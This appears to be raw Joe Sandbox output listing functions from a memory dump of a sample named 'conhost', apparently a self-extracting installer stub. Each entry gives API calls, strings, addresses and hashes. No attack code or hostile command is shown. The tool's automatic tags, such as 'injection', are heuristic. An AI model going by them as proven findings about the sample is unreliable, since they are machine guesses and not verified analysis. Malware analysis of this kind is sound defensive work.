Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000298), ref: 00408BA6
ResumeThread.KERNEL32(00000298), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T\, xrefs: 004041D8
%%T/, xrefs: 00404216

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S/, xrefs: 004042D1
%%S\, xrefs: 00404293

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M\, xrefs: 0040434E
%%M/, xrefs: 0040438C

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040855F
A, xrefs: 0040852B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

SetWindowTheme, xrefs: 00407DBF
uxtheme, xrefs: 00407DAD

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: ee812316e2d7e0eb845d54e134a37839a0ae42f25294d2bbf007d460a98e3d11
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: ee812316e2d7e0eb845d54e134a37839a0ae42f25294d2bbf007d460a98e3d11
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

kernel32, xrefs: 004026B9
Wow64RevertWow64FsRedirection, xrefs: 004026B4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

kernel32, xrefs: 004026EB
Wow64DisableWow64FsRedirection, xrefs: 004026E6

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
